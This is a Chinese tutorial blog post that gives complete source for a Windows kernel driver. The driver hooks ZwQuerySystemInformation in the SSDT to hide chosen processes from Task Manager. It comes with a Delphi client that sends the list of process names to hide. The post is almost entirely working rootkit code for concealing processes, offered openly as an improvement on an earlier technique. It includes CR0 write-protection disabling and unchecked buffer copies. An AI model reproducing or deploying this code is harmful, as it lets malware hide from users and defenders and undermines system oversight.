欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

对 Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善

对 Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善

通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
1 通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq.exe;taskmgr.exe;
2 通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
很简单的完善了。如果没有接触过驱动的同学估计有点帮助(其实很不好意思拿上来。。)
驱动代码如下:

代码:

///////////////////////////IoControl.h/////////////////////////////

#ifndef  ___HIDE_PROCESS_IO_CONTROL___
#define   ___HIDE_PROCESS_IO_CONTROL___

#define    HIDE_PROCESS_WIN32_DEV_NAME    L"\\Device\\HideProcess"
#define    HIDE_PROCESS_DEV_NAME        L"\\DosDevices\\HideProcess"

#define    FILE_DEVICE_HIDE_PROCESS     0x00008811

#define    IO_REFERENCE_EVENT        (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)
#define    IO_DEREFERENCE_EVENT      (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define    IO_PASSBUF              (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS)

/*
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char
*/
/************************************************************************
*                                                                      *
*                             Struct Define                            *
*                                                                      *
************************************************************************/
typedef struct _Event_Struct{
  int  eventType;
  char pname[255];
  char pid[255];
}Event_Struct, *PEvent_Struct;
typedef struct _SECTION_IMAGE_INFORMATION {
  PVOID EntryPoint; 
  ULONG StackZeroBits; 
  ULONG StackReserved; 
  ULONG StackCommit; 
  ULONG ImageSubsystem; 
  WORD SubsystemVersionLow; 
  WORD SubsystemVersionHigh; 
  ULONG Unknown1; 
  ULONG ImageCharacteristics; 
  ULONG ImageMachineType; 
  ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct ServiceDescriptorEntry  {
    unsigned int *ServiceTableBase;          //指向系统服务程序的地址(SSDT)
    unsigned int *ServiceCounterTableBase;   //指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL
    unsigned int NumberOfServices;           //表示当前系统所支持的服务个数
    unsigned char *ParamTableBase;           //指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元
} ServiceDescriptorTableEntry , *PServiceDescriptorTableEntry ;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable; 
struct _SYSTEM_THREADS 

  LARGE_INTEGER KernelTime; 
  LARGE_INTEGER UserTime; 
  LARGE_INTEGER CreateTime; 
  ULONG WaitTime; 
  PVOID StartAddress; 
  CLIENT_ID ClientIs; 
  KPRIORITY Priority; 
  KPRIORITY BasePriority; 
  ULONG ContextSwitchCount; 
  ULONG ThreadState; 
  KWAIT_REASON WaitReason; 
}; 
struct _SYSTEM_PROCESSES 

  ULONG NextEntryDelta;                 //下一个进程信息的偏移量,如果为0表示无一个进程信息
  ULONG ThreadCount;                    //线程数
  ULONG Reserved[6]; 
  LARGE_INTEGER CreateTime;             //创建进程的时间
  LARGE_INTEGER UserTime;               //进程中所有线程在用户模式运行时间的总和
  LARGE_INTEGER KernelTime;             //进程中所有线程在内核模式运行时间的总和
  UNICODE_STRING ProcessName;           //进程的名字
  KPRIORITY BasePriority;               //线程的缺省优先级
  ULONG ProcessId;                      //进程ID号
  ULONG InheritedFromProcessId;         //继承语柄的进程ID号
  ULONG HandleCount;                    //进程打开的语柄数量
  ULONG Reserved2[2]; 
  VM_COUNTERS VmCounters;               //虚拟内存的使用情况统计
  IO_COUNTERS IoCounters;               //IO操作的统计,Only For 2000
  struct _SYSTEM_THREADS Threads[1];    //描述进程中各线程的数组
}; 
#endif
//////////////////////HideProcess.c///////////////////////////////
#include <ntddk.h>
#include "ntiologc.h"
#include "ntimage.h"
#include <windef.h>
#include <stdio.h>
#include <string.h>
#include "IoControl.h"

VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject);
NTSTATUS  HideProcess_Create(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS  HideProcess_Close(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS  HideProcess_IoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
///////////////声明Native API///////////////////////////////////////
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( 
    IN ULONG SystemInformationClass,      //查询系统服务类型
    IN PVOID SystemInformation,           //接收系统信息缓冲区
    IN ULONG SystemInformationLength,     //接收信息缓冲区大小
    OUT PULONG ReturnLength);             //实际接收到的大小

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
          IN ULONG SystemInformationClass, 
          IN PVOID SystemInformation, 
          IN ULONG SystemInformationLength, 
          OUT PULONG ReturnLength);

NTSTATUS MyZwQuerySystemInformation( 
    IN ULONG SystemInformationClass, 
    IN PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength);

////////////////////定义所用到的全局变量///////////////
extern PServiceDescriptorTableEntry KeServiceDescriptorTable; 
unsigned long OldCr0;
UNICODE_STRING DeviceNameString;
UNICODE_STRING LinkDeviceNameString;
ZWQUERYSYSTEMINFORMATION    g_OriginalZwQuerySystemInformation;
int position;
PVOID   gpEventObject = NULL;               //事件句柄
CCHAR     outBuf[1024];                        //输入缓冲区大小

#define SEC_IMAGE 0x01000000

DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName) 
{
  HANDLE hThread, hSection, hFile, hMod;
  SECTION_IMAGE_INFORMATION sii;
  IMAGE_DOS_HEADER* dosheader;
  IMAGE_OPTIONAL_HEADER* opthdr;
  IMAGE_EXPORT_DIRECTORY* pExportTable;
  DWORD* arrayOfFunctionAddresses;
  DWORD* arrayOfFunctionNames;
  WORD* arrayOfFunctionOrdinals;
  DWORD functionOrdinal;
  DWORD Base, x, functionAddress;
  char* functionName;
  STRING ntFunctionName, ntFunctionNameSearch;
  PVOID BaseAddress = NULL;
  SIZE_T size=0;
  OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};
  IO_STATUS_BLOCK iosb;
  //_asm int 3;
  ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
  oa.ObjectName = 0;
  ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
   
  ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE); 
   
  ZwClose(hFile);
   
  hMod = BaseAddress;
   
  dosheader = (IMAGE_DOS_HEADER *)hMod;
   
  opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
  pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);
  arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);
  arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);
  arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);
  Base = pExportTable->Base;
  RtlInitString(&ntFunctionNameSearch, lpFunctionName);
  for(x = 0; x < pExportTable->NumberOfFunctions; x++)
  {
    functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);
    RtlInitString(&ntFunctionName, functionName);
    functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; 
    functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
    if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) 
   {
     ZwClose(hSection);
     return functionAddress;
   }
}
   ZwClose(hSection);
   return 0;
}
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
  NTSTATUS status;
  PDEVICE_OBJECT   deviceObject;
  UNICODE_STRING dllName;
  DWORD functionAddress;
 
   RtlInitUnicodeString( &DeviceNameString,    HIDE_PROCESS_WIN32_DEV_NAME );
   RtlInitUnicodeString( &LinkDeviceNameString,HIDE_PROCESS_DEV_NAME );
    KdPrint(("DriverEntry Enter............................\n"));
    
   status = IoCreateDevice(
                DriverObject,
                0,                      
                &DeviceNameString,
                FILE_DEVICE_DISK_FILE_SYSTEM,
                FILE_DEVICE_SECURE_OPEN,
                FALSE,
                & deviceObject );
    if (!NT_SUCCESS( status )) 
    {
        KdPrint(( "DriverEntry: Error creating control device object, status=%08x\n", status ));
        return status;
    }
   status = IoCreateSymbolicLink(
                (PUNICODE_STRING) &LinkDeviceNameString,
                (PUNICODE_STRING) &DeviceNameString
                );
   if (!NT_SUCCESS(status))
    {
        IoDeleteDevice(deviceObject);
        return status;
    }
 
  DriverObject->MajorFunction[IRP_MJ_CREATE] = HideProcess_Create;
  DriverObject->MajorFunction[IRP_MJ_CLOSE] = HideProcess_Close;
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProcess_IoControl;
  DriverObject->DriverUnload=UnloadDriver;

//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////
  RtlInitUnicodeString(&dllName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll");
  functionAddress = GetDllFunctionAddress("ZwQuerySystemInformation", &dllName);
  position = *((WORD*)(functionAddress+1));
  g_OriginalZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]);
  _asm
  {
  CLI                    //dissable interrupt
  MOV    EAX, CR0        //move CR0 register into EAX
  AND EAX, NOT 10000H //disable WP bit 
  MOV    CR0, EAX        //write register back
  }
  (ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]) = MyZwQuerySystemInformation;
  _asm 
  {
    MOV    EAX, CR0        //move CR0 register into EAX
    OR     EAX, 10000H        //enable WP bit     
    MOV    CR0, EAX        //write register back        
    STI                    //enable interrupt
  }
  
  KdPrint(("Hook ZwQuerySystemInformation'status is Succeessfully "));

  return status ;
}
NTSTATUS HideProcess_Create(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  DbgPrint("HideProcess_Create\n");
  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Irp->IoStatus.Status;
}
NTSTATUS HideProcess_Close(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  DbgPrint("HideProcess_Close\n");
  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Irp->IoStatus.Status;
}

NTSTATUS HideProcess_IoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  NTSTATUS                    status = STATUS_SUCCESS;
  ULONG            controlCode;
  PIO_STACK_LOCATION      irpStack;
  HANDLE            hEvent;
  OBJECT_HANDLE_INFORMATION  objHandleInfo;
  ULONG                       outputLength, inputLength;
  PVOID                       inputBuffer;
  
  irpStack = IoGetCurrentIrpStackLocation(Irp);
  outputLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
  inputLength=irpStack->Parameters.DeviceIoControl.InputBufferLength;
  controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
  
  switch(controlCode)
  {
  case IO_REFERENCE_EVENT:            //获取事件的句柄
    hEvent = (HANDLE) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
    status = ObReferenceObjectByHandle(
        hEvent,
        GENERIC_ALL,
        NULL,
        KernelMode,
        &gpEventObject,
        &objHandleInfo);
    if(status != STATUS_SUCCESS)
    {
      DbgPrint("ObReferenceObjectByHandle failed! status = %x\n", status);
      break;
    }
    DbgPrint("IO_REFERENCE_EVENT\n");
    break;
  case IO_PASSBUF:     //应用层传输数据到驱动
    inputBuffer = (char*)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
        RtlCopyMemory(&outBuf[0], inputBuffer, inputLength);
    DbgPrint("IO_PassBuf:%s:%d", outBuf, strlen(outBuf));
    break;
  case IO_DEREFERENCE_EVENT:
    if(gpEventObject)
    {
      ObDereferenceObject(gpEventObject);
      gpEventObject = NULL;
    }
    DbgPrint("IO_DEREFERENCE_EVENT\n");
    break;
  default:
    break;
  }
  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return status;
}

VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING uniWin32NameString;
    UNICODE_STRING LinkNameString;
    PDEVICE_OBJECT deviceObject;
//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////
 
  _asm
 {
    CLI                    //dissable interrupt
    MOV    EAX, CR0        //move CR0 register into EAX
    AND EAX, NOT 10000H    //disable WP bit 
    MOV    CR0, EAX        //write register back
  }
  (ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]) = g_OriginalZwQuerySystemInformation;
  _asm 
  {
    MOV    EAX, CR0        //move CR0 register into EAX
    OR     EAX, 10000H     //enable WP bit     
    MOV    CR0, EAX        //write register back        
    STI                    //enable interrupt
  }
  
    KdPrint(("UnHookZwQuerySystemInformation'status is Succeessfully................... "));
    deviceObject= DriverObject->DeviceObject;
    IoDeleteSymbolicLink(&LinkDeviceNameString);
    ASSERT(!deviceObject->AttachedDevice);
    if ( deviceObject != NULL )
    {
        IoDeleteDevice( deviceObject );
    }
}
NTSTATUS MyZwQuerySystemInformation( 
    IN ULONG SystemInformationClass, 
    IN PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength) 

  NTSTATUS rc; 
  STRING ntNameString;
  UNICODE_STRING process_name;
  char *buf , *haystack;
  char cpOutBuf[1024];
  char *sep = ";";
  strcpy(cpOutBuf, outBuf);
  haystack = &cpOutBuf[0];
  
  rc = (g_OriginalZwQuerySystemInformation) ( 
    SystemInformationClass, 
    SystemInformation, 
    SystemInformationLength, 
    ReturnLength); 
  
  if(NT_SUCCESS(rc)) 
  {
    if(5 == SystemInformationClass)
    { 
      struct _SYSTEM_PROCESSES *curr;
      struct _SYSTEM_PROCESSES *prev;
      buf  = strstr(haystack, sep);
      while(buf  != NULL)
      {
        buf [0] = '\0';
        DbgPrint("%s", haystack);
        RtlInitAnsiString(&ntNameString, haystack); 
        RtlAnsiStringToUnicodeString(&process_name, &ntNameString, TRUE);
                
        haystack = buf  + strlen(sep);
        buf  = strstr(haystack, sep);
  
        curr = (struct _SYSTEM_PROCESSES *)SystemInformation; 
        prev = NULL; 
        if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 
        while(curr)
        {  
          if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
          {
            DbgPrint("hide process name taskmgr.exe");
            //找到要隐藏的进程
            if(prev) 
            { 
              //要删除的信息在中间,则把指针指向下一个节点
              if(curr->NextEntryDelta) 
                prev->NextEntryDelta += curr->NextEntryDelta; 
              else 
                prev->NextEntryDelta = 0; //要删除的信息在末尾,则直接把指针指向0
            } 
            else 
            { 
              if(curr->NextEntryDelta) 
                (char *)SystemInformation += curr->NextEntryDelta; //要删除的信息在开头
              else 
                SystemInformation = NULL; 
            } 
            //如果链下一个还有其他的进程信息,指针往后移
            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 
            else 
            { 
              curr = NULL;
              break; 
            } 
            }
          if(curr != NULL) 
          { 
            //把当前指针设置成前一个指针,当前指针后移
            prev = curr; 
            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 
            else curr = NULL; 
          }
        }
                RtlFreeUnicodeString(&process_name);
      }
    }
  }
    return rc;
}

三层的代码如下:
/////////////////////delphi code///////////////////////////
procedure TForm1.btnHideClick(Sender: TObject);
var
  dwReturn: DWORD;
  proname:array [0..1023] of char;
begin
  //创建设备
  try
    m_hCommDevice := CreateFile('\\.\HideProcess',  GENERIC_READ or GENERIC_WRITE,  FILE_SHARE_READ, nil,
                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  except
    MessageBox(Handle, '创建设备失败', '隐藏进程启动', MB_OK + MB_ICONWARNING);
  end;
  //创建事件
  try
    m_hCommEvent := CreateEvent(nil, false, false, nil);
  except
    CloseHandle(m_hCommDevice);
    MessageBox(Handle, '创建事件失败', '隐藏进程启动', MB_OK + MB_ICONWARNING);
  end;
  //发送事件句柄给驱动
  DeviceIoControl(m_hCommDevice, IO_REFERENCE_EVENT, pointer(m_hCommEvent),  0, nil, 0, dwReturn, nil);
  StrPCopy(@proname, Trim(edtProcessName.Text));
  DeviceIoControl(m_hCommDevice, IO_PASSBUF, @proname,  sizeof(proname), nil, 0, dwReturn, nil);
end;

整个工程的代码如下: 进程隐藏.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功